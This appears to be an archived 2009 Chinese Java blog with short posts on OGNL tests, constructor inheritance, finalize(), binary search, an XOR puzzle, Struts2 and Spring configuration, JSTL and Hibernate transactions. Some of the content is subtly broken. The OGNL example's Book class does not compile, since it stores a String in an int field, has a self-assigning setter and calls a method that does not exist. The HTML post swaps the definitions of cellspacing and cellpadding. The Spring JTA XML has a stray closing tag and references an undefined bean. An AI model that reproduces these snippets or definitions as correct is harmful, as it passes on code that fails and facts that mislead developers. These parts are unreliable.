等等。

OGNL官方首页:
http://www.ognl.org/

OGNL官方文档 (2.6.9)
OGNL Language Guide (2.6.9)

附:
OGNL使用例:
  1. package com.test.ognl;   
  2. import java.util.HashMap;   
  3. import java.util.List;   
  4. import java.util.Map;   
  5.   
  6. import junit.framework.TestCase;   
  7. import ognl.Ognl;   
  8. import ognl.OgnlContext;   
  9.   
  10. public class OgnlTest extends TestCase {   
  11.     public void testGetValue() throws Exception {   
  12.          OgnlContext context = new OgnlContext();   
  13.          Book book = new Book("book1");   
  14.          context.put("book", book);   
  15.   
  16.         final String expression = "book.name";   
  17.          Object parseExpression = Ognl.parseExpression(expression);   
  18.          assertEquals("book1", Ognl.getValue(parseExpression, context));   
  19.            
  20.          book.setName("book2");   
  21.          assertEquals("book2", Ognl.getValue(parseExpression, context));   
  22.      }   
  23.        
  24.     public void testSetValue() throws Exception {   
  25.          OgnlContext context = new OgnlContext();   
  26.          Book book = new Book("book1");   
  27.          context.put("book", book);   
  28.   
  29.         final String expression = "book.name";   
  30.          Object parseExpression = Ognl.parseExpression(expression);   
  31.          Ognl.setValue(parseExpression, context, "book2");   
  32.          assertEquals("book2", book.getName());   
  33.      }   
  34.        
  35.     public void testCallStaticMethod() throws Exception {   
  36.          OgnlContext context = new OgnlContext();   
  37.   
  38.         final String expression = "@com.test.ognl.Book@test()";   
  39.          Object parseExpression = Ognl.parseExpression(expression);   
  40.          assertEquals("Hello World", Ognl.getValue(parseExpression, context));   
  41.      }   
  42.        
  43.     public void testArray() throws Exception {   
  44.          OgnlContext context = new OgnlContext();   
  45.   
  46.         final String expression = "new int[]{1, 2, 3}";   
  47.          Object parseExpression = Ognl.parseExpression(expression);   
  48.         int[] ret = (int[]) Ognl.getValue(parseExpression, context);   
  49.   
  50.          assertEquals(1, ret[0]);   
  51.          assertEquals(2, ret[1]);   
  52.          assertEquals(3, ret[2]);   
  53.      }   
  54.   
  55.     public void testList() throws Exception {   
  56.          OgnlContext context = new OgnlContext();   
  57.   
  58.         final String expression = "{1, 2, 3}";   
  59.          Object parseExpression = Ognl.parseExpression(expression);   
  60.          List ret = (List) Ognl.getValue(parseExpression, context);   
  61.   
  62.          assertEquals(new Integer(1), ret.get(0));   
  63.          assertEquals(new Integer(2), ret.get(1));   
  64.          assertEquals(new Integer(3), ret.get(2));   
  65.      }   
  66.        
  67.     public void testMap() throws Exception {   
  68.          OgnlContext context = new OgnlContext();   
  69.   
  70.         final String expression = "#{\"name\" : \"book1\", \"price\" : 10.2}";   
  71.          Object parseExpression = Ognl.parseExpression(expression);   
  72.          Map value = (Map) Ognl.getValue(parseExpression, context);   
  73.          assertEquals("book1", value.get("name"));   
  74.          assertEquals(new Integer(10.2), value.get("price"));   
  75.      }   
  76. }   
  77.   
  78. class Book {   
  79.     private int name;   
  80.   
  81.     public Book(String bookName) {   
  82.         this.name = bookName;   
  83.      }   
  84.     public int getName() {   
  85.         return name;   
  86.      }   
  87.   
  88.     public void setName(int Name) {   
  89.         this.name = name;   
  90.      }   
  91.   
  92.     // test static method   
  93.     public static String hello() {   
  94.         return "Hello World";   
  95.      }  

posted @ 2009-08-12 18:19 jadmin 阅读(99) | 评论 (0)编辑 收藏

cellspacing ---> 单元格的元素与边界的距离

cellpadding ---> 单元格与单元格之间的距离

posted @ 2009-08-09 19:34 jadmin 阅读(125) | 评论 (0)编辑 收藏


    缺省构造函数的问题:base类是父类,derived类是子类,首先要说明的是由于先有父类后有子类,所以生成子类之前要首先有父类。class是由class的构造函数constructor产生的,每一个class都有构造函数,如果你在编写自己的class时没有编写任何构造函数,那么编译器为你自动产生一个缺省default构造函数。这个default构造函数实质是空的,其中不包含任何代码。但是一牵扯到继承,它的问题就出现了。

    如果父类base class只有缺省构造函数,也就是编译器自动为你产生的。而子类中也只有缺省构造函数,那么不会产生任何问题,因为当你试图产生一个子类的实例时,首先要执行子类的构造函数,但是由于子类继承父类,所以子类的缺省构造函数自动调用父类的缺省构造函数。先产生父类的实例,然后再产生子类的实例。如下:

class base{
}
class derived extends base{
public static void main(String[] args){
    derived d=new derived();
}
}

下面我自己显式地加上了缺省构造函数:
class base{
base(){
    System.out.println("base constructor");
}
}
class derived extends base{
derived(){
    System.out.println("derived constructor");
}
public static void main(String[] args){
    derived d=new derived();
}
}

执行结果如下:说明了先产生base class然后是derived class。
base constructor
derived constructor

我要说明的问题出在如果base class有多个constructor而derived class也有多个constructor,这时子类中的构造函数缺省调用那个父类的构造函数呢?答案是调用父类的缺省构造函数。但是不是编译器自动为你生成的那个缺省构造函数而是你自己显式地写出来的缺省构造函数。

class base{
base(){
    System.out.println("base constructor");
}
base(int i){
    System.out.println("base constructor int i");
}
}
class derived extends base{
derived(){
    System.out.println("derived constructor");
}
derived(int i){
    System.out.println("derived constructor int i");
}
public static void main(String[] args){
    derived d=new derived();
    derived t=new derived(9);
}
}

D:\java\thinking\think6>java derived
base constructor
derived constructor
base constructor
derived constructor int i

如果将base 类的构造函数注释掉,则出错。

class base{
// base(){
//    System.out.println("base constructor");
// }
base(int i){
    System.out.println("base constructor int i");
}
}
class derived extends base{
derived(){
    System.out.println("derived constructor");
}
derived(int i){
    System.out.println("derived constructor int i");
}
public static void main(String[] args){
    derived d=new derived();
    derived t=new derived(9);
}
}


D:\java\thinking\think6>javac derived.java
derived.java:10: cannot resolve symbol
symbol : constructor base ()
location: class base
derived(){
           ^
derived.java:13: cannot resolve symbol
symbol : constructor base ()
location: class base
derived(int i){
2 errors

说明子类中的构造函数找不到显式写出的父类中的缺省构造函数,所以出错。

那么如果你不想子类的构造函数调用你显式写出的父类中的缺省构造函数怎么办呢?如下例:

class base{
// base(){
//    System.out.println("base constructor");
// }
base(int i){
    System.out.println("base constructor int i");
}
}
class derived extends base{
derived(){
    super(8);
    System.out.println("derived constructor");
}
derived(int i){
    super(i);
    System.out.println("derived constructor int i");
}
public static void main(String[] args){
    derived d=new derived();
    derived t=new derived(9);
}
}


D:\java\thinking\think6>java derived
base constructor int i
derived constructor
base constructor int i
derived constructor int i

super(i)表示父类的构造函数base(i)请大家注意:一个是super(i)一个是super(8)。大家想想是为什么??

结论:
子类如果有多个构造函数的时候,父类要么没有构造函数,让编译器自动产生,那么在执行子类构造函数之前先执行编译器自动产生的父类的缺省构造函数;要么至少要有一个显式的缺省构造函数可以让子类的构造函数调用。

posted @ 2009-08-09 13:18 jadmin 阅读(106) | 评论 (0)编辑 收藏

Win+R

cmd

sc delete 服务名

posted @ 2009-08-09 12:29 jadmin 阅读(89) | 评论 (0)编辑 收藏

      java提供finalize()方法,垃圾回收器准备释放内存的时候,会先调用finalize()。

      (1).对象不一定会被回收。
      (2).垃圾回收不是析构函数。
      (3).垃圾回收只与内存有关。
      (4).垃圾回收和finalize()都是靠不住的,只要JVM还没有快到耗尽内存的地步,它是不会浪费时间进行垃圾回收的。

     垃圾收集器在进行垃圾收集的时候会自动呼叫对象的finalize方法,用来进行一些用户自定义的非内存清理工作,因为垃圾收集器不会处理内存以外的东西。所以,有的时候用户需要定义一些清理的方法,比如说处理文件和端口之类的非内存资源。

      finalize的工作原理应该是这样的:一旦垃圾收集器准备好释放对象占用的存储空间,它首先调用finalize(),而且只有在下一次垃圾收集过程中,才会真正回收对象的内存.所以如果使用finalize(),就可以在垃圾收集期间进行一些重要的清除或清扫工作.

      finalize()在什么时候被调用?

      有三种情况
      1.所有对象被Garbage Collection时自动调用,比如运行System.gc()的时候.
      2.程序退出时为每个对象调用一次finalize方法。
      3.显式的调用finalize方法

      除此以外,正常情况下,当某个对象被系统收集为无用信息的时候,finalize()将被自动调用,但是jvm不保证finalize()一定被调用,也就是说,finalize()的调用是不确定的,这也就是为什么sun不提倡使用finalize()的原因。

      理解finalize( ) 正好在垃圾回收以前被调用非常重要。例如当一个对象超出了它的作用域时,finalize( ) 并不被调用。这意味着你不可能知道何时——甚至是否——finalize( ) 被调用。因此,你的程序应该提供其他的方法来释放由对象使用的系统资源,而不能依靠finalize( ) 来完成程序的正常操作。

posted @ 2009-08-08 23:17 jadmin 阅读(121) | 评论 (0)编辑 收藏

Java版二分查找算法

二分查找算法的目标查找集合应该为有序序列

/*
* @(#)BinarySearch.java 2009-8-8
*
* Copyright (c) 2009 by jadmin. All Rights Reserved.
*/

package algorithm.search;


/**
* 二分查找算法
*
* @author <a href="mailto:jadmin@126.com">jadmin</a>
* @version $Id: BinarySearch.java 2009-8-8 上午05:07:05$
* @see <a href="http://hi.baidu.com/jadmin">myblog</a>
*/
public final class BinarySearch {

public static int find(int[] a, int key) {
   return find(a, 0, a.length - 1, key);
}

// 非递归实现
public static int find(int[] a, int fromIndex, int toIndex, int key) {
   int low = fromIndex;
   int high = toIndex;

   while (low <= high) {
    // 无符号右移位逻辑运算
    int mid = (low + high) >>> 1;
    int midVal = a[mid];

    if (midVal < key)
     low = mid + 1;
    else if (midVal > key)
     high = mid - 1;
    else
     return mid; // key found
   }
   return -(low + 1); // key not found.
}

// 递归实现
public static int search(int[] a, int fromIndex, int toIndex, int key) {
   if(fromIndex > toIndex) {
    return -1;
   }
   int mid = (fromIndex + toIndex) >>> 1;
   if(a[mid] < key) {
    return search(a, mid + 1, toIndex, key);
   } else if(a[mid] > key) {
    return search(a, fromIndex, mid - 1, key);
   } else {
    return mid;
   }
}

posted @ 2009-08-08 05:10 jadmin 阅读(90) | 评论 (0)编辑 收藏

题目:1 ~ 1000放在含有1001个元素的数组中,只有唯一的一个元素值重复,其它均只出现一次。每个数组元素只能访问一次,设计一个算法,将它找出来,不用辅助存储空间,能否设计一个算法实现?

姑且令该数组为int[] a

解法1:数组累和 - (1+2+3+...+.. + 999 + 1000)= 所求结果

public int find(int[] a) {

    int t = 1000 * (1000 + 1) / 2; // 1 ~ 1000的累和
    int sum = 0;
    for(int i = 0;i < a.length;i++) {
        sum += a[i];
    }
    return (sum - t);
}

解法2:异或


将所有的数全部异或,得到的结果与1^2^3^...^1000的结果进行异或,得到的结果就是重复数。

但是这个算法虽然很简单,但证明起来并不是一件容易的事情。这与异或运算的几个特性有关系。
首先是异或运算满足交换律、结合律。
所以,1^2^...^n^...^n^...^1000,无论这两个n出现在什么位置,都可以转换成为1^2^...^1000^(n^n)的形式。

其次,对于任何数x,都有x^x=0,x^0=x。
所以1^2^...^n^...^n^...^1000 = 1^2^...^1000^(n^n)= 1^2^...^1000^0 = 1^2^...^1000(即序列中除了n的所有数的异或)。

令,1^2^...^1000(序列中不包含n)的结果为T
则1^2^...^1000(序列中包含n)的结果就是T^n。
T^(T^n)=n。
所以,将所有的数全部异或,得到的结果与1^2^3^...^1000的结果进行异或,得到的结果就是重复数。

public int find(int[] a) {
    int t1 = 0;
    int t2 = 0;
    for(int i = 0;i < a.length;i++) {
        t1 ^= a[i];
    }

    for(int i = 1;i <= 1000;i++) {
        t2 ^= i;
    }
    return (t1 ^ t2);
}

遗留问题:如果放入数组a中的数为:1000个不连续且互不相同的数(设其组成的数组为n) + 重复数(取自数组n),又如何求取这个重复数呢,要保证算法的效率哦

参考:

http://www.cnblogs.com/myqiao/archive/2009/07/21/1528156.html

http://www.cnblogs.com/myqiao/archive/2009/07/22/1528271.html

posted @ 2009-08-08 03:57 jadmin 阅读(100) | 评论 (0)编辑 收藏

/*
* @(#)RandNumberUtil.java 2009-8-8
*
* Copyright (c) 2009 by jadmin. All Rights Reserved.
*/

package com.jsoft.util.random;

/**
* 随机数辅助类
*
* @author <a href="mailto:jadmin@126.com">jadmin</a>
* @version $Id: RandNumberUtil.java 2009-8-8 上午03:22:37$
* @see <a href="http://hi.baidu.com/jadmin">myblog</a>
*/
public class RandNumberUtil {

/**
* 随机生成count个不重复的并且介于min和max间的整数
*
* @param min
* @param max
* @param count
* @return
*/
public static int[] generate(int min, int max, int count) {
   if(min > max) {
    throw new IllegalArgumentException("参数min必须小于max...");
   }
   int n = max - min + 1;
   if(count > n) {
    throw new IllegalArgumentException("参数count超出范围...");
   }
   int[] span = new int[n];
   for (int i = 0, j = min; i < n; i++, j++) {
    span[i] = j;
   }
  
   // 存储要生成的随机数
   int[] target = new int[count];
   for (int i = 0; i < target.length; i++) {
    int r = (int)(Math.random() * n);
    target[i] = span[r];
    span[r] = span[n - 1];
    n--;
   }
   return target;
}

public static void main(String[] args) {
   int[] a = generate(12, 68, 9);
   for(int i : a) {
    System.out.print(i + " ");
   }
}
}

posted @ 2009-08-08 03:29 jadmin 阅读(117) | 评论 (0)编辑 收藏

jsp文件

1.index.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
    <title>Index Page</title>
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="cache-control" content="no-cache">
<meta http-equiv="expires" content="0">   
</head>

<body>
    <jsp:forward page="login.jsp"></jsp:forward>
</body>
</html>

2.login.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
    <title>Index Page</title>
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="cache-control" content="no-cache">
<meta http-equiv="expires" content="0">   
</head>

<body>
<s:fielderror></s:fielderror>

<s:form action="login">
    <s:textfield name="user.username" label="用 户"></s:textfield>
    <s:password name="user.password" label="密 码"></s:password>
    <s:submit value="登录"></s:submit>
</s:form>

</body>
</html>

3.login_success.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags"%>
<%@ taglib prefix="c" uri="
http://java.sun.com/jsp/jstl/core"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
    <title>Index Page</title>
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="cache-control" content="no-cache">
<meta http-equiv="expires" content="0">   
</head>

<body>
<c:choose>
   <c:when test="${empty user}">您还没有登录哦。。。</c:when>
   <c:otherwise>${user.username},欢迎登录</c:otherwise>
</c:choose>

</body>
</html>

附图

注意:运行本项目需要jstl标签库的支持,如果你使用的是java ee 5的话就不需要另外引入了

posted @ 2009-07-29 16:33 jadmin 阅读(93) | 评论 (0)编辑 收藏

1.准备工作

建好一个Web项目,加入必要的jar包(见本文末的附图),本文将演示一个用户登录的例子,使用的是struts2.1.6,java ee 5

2.代码

User.java

/*
* @(#)User.java 2009-7-29
*
* Copyright (c) 2009 by jadmin. All Rights Reserved.
*/

package com.jsoft.domain;

/**
* 用户实体类
*
* @author <a href="
mailto:jadmin@126.com">jadmin</a>
* @version $Id: User.java 2009-7-29 下午12:47:16$
* @see <a href="
http://hi.baidu.com/jadmin">myblog</a>
*/
public class User {

private String username;

private String password;

public String getUsername() {
   return username;
}

public void setUsername(String username) {
   this.username = username;
}

public String getPassword() {
   return password;
}

public void setPassword(String password) {
   this.password = password;
}

@Override
public String toString() {
   return super.toString() + "[" + username + ", " + password + "]";
}
}

UserAction.java

/*
* @(#)UserAction.java 2009-7-29
*
* Copyright (c) 2009 by jadmin. All Rights Reserved.
*/

package com.jsoft.web.action;

import org.apache.struts2.convention.annotation.Action;
import org.apache.struts2.convention.annotation.Result;

import com.jsoft.domain.User;
import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.ActionSupport;

/**
* Action
*
* @author <a href="
mailto:jadmin@126.com">jadmin</a>
* @version $Id: UserAction.java 2009-7-29 下午12:24:33$
* @see <a href="
http://hi.baidu.com/jadmin">myblog</a>
*/
public class UserAction extends ActionSupport {

private static final long serialVersionUID = 6488865641880260892L;
private User user;

@Action(value = "login",
    results = {
     @Result(name = "success", location = "/login_success.jsp", type = "redirect"),
     @Result(name = "input", location = "/login.jsp", type = "dispatcher")
    })
public String execute() throws Exception {
   System.out.println(user);
   ActionContext.getContext().getSession().put("user", user);
   return SUCCESS;
}

@Override
public void validate() {
   if (!"admin".equals(user.getUsername())) {
    addFieldError("user.username", "登录名不正确!");
   } else if (!"admin".equals(user.getPassword())) {
    addFieldError("user.password", "密码不正确!");
   }
}

public User getUser() {
   return user;
}

public void setUser(User user) {
   this.user = user;
}
}

web.xml文件

<filter>
   <filter-name>struts2</filter-name>
   <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
   <filter-name>struts2</filter-name>
   <url-pattern>/*</url-pattern>
</filter-mapping>

<welcome-file-list>
   <welcome-file>index.jsp</welcome-file>
</welcome-file-list>

posted @ 2009-07-29 16:25 jadmin 阅读(68) | 评论 (0)编辑 收藏

验证Email地址是否合法

<script language="javascript">
function isEmail(email) {
  
if (email.search(/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/) != -1) {
return true;
}
   
else {
   return false;
}

}
</script>

验证IP地址

IPV4_PATTERN = "(([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\.){3}([01]?\\d\\d?|2[0-4]\\d|25[0-5])";
IPV6_PATTERN = "([0-9a-f]{1,4}:){7}([0-9a-f]){1,4}";

待续。。。

posted @ 2009-07-29 00:51 jadmin 阅读(66) | 评论 (0)编辑 收藏

1.准备工作

除了必要spring的支持外,还需要引入两个jar包,分别是activation.jar和mail.jar

2.代码

SimpleHtmlMailSender.java

/*
* @(#)SimpleHtmlMailSender.java 2009-7-28
*
* Copyright (c) 2009 by jadmin. All Rights Reserved.
*/

package com.jsoft.s2sh.util.mail;

import javax.mail.MessagingException;
import javax.mail.internet.MimeMessage;

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import org.springframework.mail.javamail.JavaMailSender;
import org.springframework.mail.javamail.MimeMessageHelper;

/**
* 用于发送简单的HTML文本邮件
*
* @author <a href="mailto:jadmin ON 126.com">jadmin</a>
* @version $Id: SimpleHtmlMailSender.java 2009-7-28 上午01:15:35$
* @see <a href="http://hi.baidu.com/jadmin">myblog</a>
*/
public class SimpleHtmlMailSender {

protected JavaMailSender sender;

public void setSender(JavaMailSender sender) {
   this.sender = sender;
}

public void sendMessage(String message,String to, String from, String subject, String encoding) throws MessagingException {
   MimeMessage msg = sender.createMimeMessage();
   MimeMessageHelper helper = new MimeMessageHelper(msg, true, encoding);
   helper.setTo(to);
   helper.setFrom(from);
   helper.setSubject(subject);
   helper.setText(message, true);

   sender.send(msg);
}

public static void main(String[] args) throws MessagingException {
   ApplicationContext ctx = new ClassPathXmlApplicationContext("applicationContext-mail.xml");
   String to = "etxp on   qq.com";
   String from = "etxp on 163.com";
   String subject = "感谢您对本站的关注,请激活您的帐号";
  
   String message = "<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=gb2312\"></head><body><h1><a href='#'>哈哈!"
    + "</a></h1></body></html>";

   SimpleHtmlMailSender sender = (SimpleHtmlMailSender) ctx.getBean("mailSender");
   sender.sendMessage(message, to, from, subject, "GB2312");

}

}

3.配置

applicationContext.xml(将此文件之余classpath下)

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:aop="http://www.springframework.org/schema/aop"
xmlns:tx="http://www.springframework.org/schema/tx"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-2.0.xsd
http://www.springframework.org/schema/aop
http://www.springframework.org/schema/aop/spring-aop-2.0.xsd
http://www.springframework.org/schema/tx
http://www.springframework.org/schema/tx/spring-tx-2.0.xsd">


<bean id="javaMailSender" class="org.springframework.mail.javamail.JavaMailSenderImpl">
   <property name="host">
    <value>smtp.163.com</value>
   </property>
   <property name="username">
    <value>etxp</value>
   </property>
   <property name="password">
    <value>**********</value>
   </property>
   <property name="javaMailProperties">
    <props>
     <prop key="mail.smtp.auth">true</prop>
    </props>
   </property>
</bean>

<bean id="mailSender" class="com.jsoft.s2sh.util.mail.SimpleHtmlMailSender">
   <property name="sender">
    <ref bean="javaMailSender" />
   </property>
</bean>

</beans>

4.运行

posted @ 2009-07-28 04:29 jadmin 阅读(82) | 评论 (0)编辑 收藏

Spring在TransactionDefinition接口中7种类型的事务传播行为,它们规定了事务方法和事务方法发生嵌套调用时事务如何进行传播:

1.PROPAGATION_REQUIRED
如果当前没有事务,就新建一个事务,如果已经存在一个事务中,加入到这个事务中。这是最常见的选择。

2.PROPAGATION_SUPPORTS
支持当前事务,如果当前没有事务,就以非事务方式执行。

3.PROPAGATION_MANDATORY
使用当前的事务,如果当前没有事务,就抛出异常。

4.PROPAGATION_REQUIRES_NEW
新建事务,如果当前存在事务,把当前事务挂起。

5.PROPAGATION_NOT_SUPPORTED
以非事务方式执行操作,如果当前存在事务,就把当前事务挂起。


6.PROPAGATION_NEVER
以非事务方式执行,如果当前存在事务,则抛出异常。


7.PROPAGATION_NESTED
如果当前存在事务,则在嵌套事务内执行。如果当前没有事务,则执行与PROPAGATION_REQUIRED类似的操作。

posted @ 2009-07-27 18:33 jadmin 阅读(68) | 评论 (0)编辑 收藏
在web应用开发中,为了使视图与数据逻辑分离,需要使用标签,jstl就是其中之一。
一、用法配置

JSTL的版本和servlet规范的版本不同时,配置方式是不同的,以下以servlet2.4和jstl1.1为例。

核心标签c:
1、web.xml中的配置如下(其实ide已经帮你配置好了)
</web-app>
2、在jsp页面导入声明
<%@ taglib prefix="c" uri=http://java.sun.com/jsp/jstl/core%>
二、常用标签
1、<c:out/>
用于输出内容
例子:<c:out value="abc"/><c:out value="${va}" ></c:out>
2、<c:set></c:set>
用于设置作用域变量
例子:<c:set value="Hello" var="sessionVar" scope="session"></c:set>
3、<c:remove />
用于清除作用域变量
<c:remove var="maxUser" scope="application"/>
4、<c:forEach/>
用于循环输出变量
属性:vars:循环体中可以引用的变量;begin:循环开始的下标;end:循环结束的下标;items:集合的名称;
例如:<c:forEach begin="0" end="5" items="array" var="s" />
${s}<br>
</c:forEach>
将输出array集合中的6个元素,array是作用域变量,可以是request,session,application作用域内属性变量(调用setAttribute方法设置的)。如果array中存放的是对象如User(包含name,id属性),如果想输出name属性的话
可以用${s.name},其等价于调用s.getName()方法。
5、<c:if/>
用于执行条件判断
例如:<c:if test="${empty sessionScope.name }">
<c:redirect url="testJSTLlogin.jsp" />
</c:if>
个人觉得此功能不够强大,还是脚本灵活
6、<c:choose><c:when></c:when>......<c:other></c:other>
用于执行条件判断相当于if,else if,else if... else
用法:c:choose标签用来选择执行语句
当c:when的test中判断结果为true时执行该标签中的内容;
如果所有c:when的test中判断结果都为false,则执行c:otherwise中的内容;
例子:

<c:choose>
<c:whentest="testCondition">
Content1
</c:when>
<c:whentest="testCondition">
Content2
</c:when>
<c:otherwise>
Content3
</c:otherwise>
</c:choose>

posted @ 2009-07-27 18:28 jadmin 阅读(97) | 评论 (0)编辑 收藏

3声明式管理Hibernate分布式事务

通过Spring,还可以很方便地切换至另一种事务管理策略。比如需要提供分布式事务管理策略时,只要替换一下配置即可,如代码10.29所示。

代码10.29 appContext-jta.xml

<beans>

<bean id="transactionManager"

class="org.springframework.transaction.jta.JtaTransactionManager">

    <property name="sessionFactory" >

      <ref bean="sessionFactory" />

    </property>

</bean>

<bean id="myDataSource1"

class="org.springframework.jndi.JndiObjectFactoryBean">

      <property name="jndiName">

          <value>java:comp/env/jdbc/myds1</value>

      </property>

</bean>

<bean id="myDataSource2"

class="org.springframework.jndi.JndiObjectFactoryBean">

      <property name="jndiName">

          <value>java:comp/env/jdbc/myds2</value>

      </property>

</bean>

<bean id="sessionFactory1"

class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">

    <property name="dataSource" ref="myDataSource1"/>

    <property name="configLocations">

      <value>hibernate.cfg1.xml</value>

    </property>

</bean>

<bean id="sessionFactory2"

class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">

    <property name="dataSource" ref="myDataSource2"/>

    <property name="configLocations">

      <value>hibernate.cfg2.xml</value>

    </property>

</bean>

<bean id="dao1"

class="daopackage1.DaoImpl">

    <property name="sessionFactory" ref="sessionFactory"/>

</bean>

<bean id="dao2"

class="daopackage2.DaoImp2">

    <property name="sessionFactory" ref="sessionFactory"/>

</bean>

</beans>

<bean id="business" class="businesspackage.BusinessFacadeImpl">

    <property name="dao1">

      <ref bean="dao1"/>

    </property>

    <property name="dao2">

      <ref bean="dao2"/>

    </property>

</bean>

<bean id="businessProxy"

class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean">

    <property name="transactionManager">

      <ref bean="transactionManager" />

    </property>

    <property name="target">

      <ref bean="business" />

    </property>

    <property name="transactionAttributes">

      <props>

        <prop key="business*">PROPAGATION_REQUIRED</prop>

        <prop key="someOtherBusiness*">PROPAGATION_MANDATORY</prop>

      </props>

    </property>

</bean>

</beans>

可以看到,对于横跨多个Hibernate SessionFacotry的分布式事务,只需简单地将JtaTransactionManagerLocalSessionFactoryBean的定义结合起来就可以了,其中每个DAO通过bean属性得到各自的SessionFactory引用。

说明:如果所有底层数据源都是支持事务的容器,那么只需要对一个业务对象应用JtaTransactionManager策略,该对象就可以横跨多个DAO和多个Session Factory来划分事务了。使用Spring的最大好处就是,可通过配置来声明式地管理事务,无需对应用代码作任何改动。

posted @ 2009-07-27 01:52 jadmin 阅读(99) | 评论 (0)编辑 收藏

2声明式管理Hibernate本地事务

Spring提供了一种统一的IoC方式来管理Hibernate事务(本地或者分布式事务)。从Spring接手hibernate.cfg.xmlHibernate的基本配置文件)起,Hibernate事务便轻易交由Spring拖管了。

说明:在上一章介绍IBatisDAO的时候,曾经针对事务和DAO的关系简单的进行了探讨。通常DAO的粒度应该都是比较细的,即它们只是一些单步的CRUD操作,所以就需要引入一个业务对象来包裹DAO,这样,就可以在业务对象的基础上,提供更粗粒度的事务划分了(比如跨越多个DAO的方法调用进行事务管理)。

为了能对DAO进行更粗粒度的事务控制,需要为其增加一个业务对象。下面给出了该业务对象的接口和实现,如代码10.25~10.26所示。

代码10.25 StockFacade.java

package chapter10.spring.hibernate;

import chapter10.hibernate.domain.Category;

public interface StockFacade {

public void business1(Category category);

public void someOtherBusiness();

}

代码10.26 BusinessFacadeImpl.java

public class BusinessFacadeImpl implements StockFacade {

private StockDao stockDao;

public void setStockDao(StockDao stockDao) {

    this.stockDao = stockDao;

}

public void business1(Category category) {

    stockDao.createCategoryCascade(category);

    stockDao.retrieveProductBy(category);

    stockDao.deleteCategoryCascade(category);

}

public void someOtherBusiness() {

    //other implemention

}

}

接着给出关于事务策略的配置,其中使用了Spring针对Hibernate3给出的HibernateTransactionManager,它提供了Hibernate的本地事务管理策略,如代码10.27所示。

代码10.27 transaction-context.xml

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN"

"http://www.springframework.org/dtd/spring-beans.dtd">

<beans>

<bean id="transactionManager"

class="org.springframework.orm.hibernate3.HibernateTransactionManager">

    <property name="sessionFactory" >

      <ref bean="sessionFactory" />

    </property>

</bean>

<bean id="business"

class="chapter10.spring.hibernate.BusinessFacadeImpl">

    <property name="stockDao">

      <ref bean="stockDao"/>

    </property>

</bean>

<bean id="businessProxy"

    class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean">

    <property name="transactionManager">

      <ref bean="transactionManager" />

    </property>

    <property name="target">

       <ref bean="business" />

    </property>

    <property name="transactionAttributes">

      <props>

        <!--运行在当前事务范围内,如果当前没有启动事务,那么创建一个新的事务-->

        <prop key="business*">PROPAGATION_REQUIRED</prop>

        <!--运行在当前事务范围内,如果当前没有启动事务,那么抛出异常-->

         <prop key="someOtherBusiness*">PROPAGATION_MANDATORY</prop>

      </props>

    </property>

</bean>

</beans>

代码10.28 HibernateTransactionUsageTest.java

package chapter10.spring.hibernate;

import org.springframework.context.ApplicationContext;

import org.springframework.context.support.ClassPathXmlApplicationContext;

import chapter10.hibernate.domain.Category;

import junit.framework.TestCase;

public class HibernateTransactionUsageTest extends TestCase {

private StockFacade stockBusiness;

protected void setUp() throws Exception {

    String path = "ch10/spring/hibernate/";

    ApplicationContext ctx = new ClassPathXmlApplicationContext(

         new String[]{path+"dataAccessContext-support-local.xml",

             path+"transaction-context.xml"});

    stockBusiness = (StockFacade)ctx.getBean("businessProxy");

}

public void testTransctionUsage() {

    Category category = new Category("RABBIT");

    category.setName("Rabbit");

    category.setDescn("Desciption of Rabbit");

    stockBusiness.business1(category);

}

}

posted @ 2009-07-27 01:51 jadmin 阅读(67) | 评论 (0)编辑 收藏

1Spring上下文中配置SessionFactory

通过上文的描述,可以知道,Spring使用JdbcTemplate时必须和特定的数据源进行绑定。而在Hibernate中,数据源是对用户屏蔽的,它使用一个称为“Session”的强劲武器。

Session具有建立或取消对象的持久关联、同步对象状态和数据库以及事务管理等等复杂功能。SessionHibernate的核心概念,就如同SqlMap与之IBatis一样。Session的创建依赖于HibernateSessionFactorySessionFactorySession一样,也是Hibernate的核心组件。

IBatis的整合方式一样,Spring会将Hibernate基本配置文件中的数据源属性抽离到Spring自身的配置文件中,以提供统一的数据源管理和注射。

首先,给出Hibernate的配置文件,如代码10.19所示。

代码10.19 hibernate.cfg.xml

<?xml version='1.0' encoding='utf-8'?>

<!DOCTYPE hibernate-configuration PUBLIC

        "-//Hibernate/Hibernate Configuration DTD 3.0//EN"

        "http://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd">

<hibernate-configuration>

<session-factory>

<!-- Database connection settings -->

<!--    <property name="connection.driver_class">-->

<!--      org.postgresql.Driver-->

<!--    </property>-->

<!--    <property name="connection.url">-->

<!--      jdbc:postgresql://1210.0.0.1:5432/hibernate-->

<!--    </property>-->

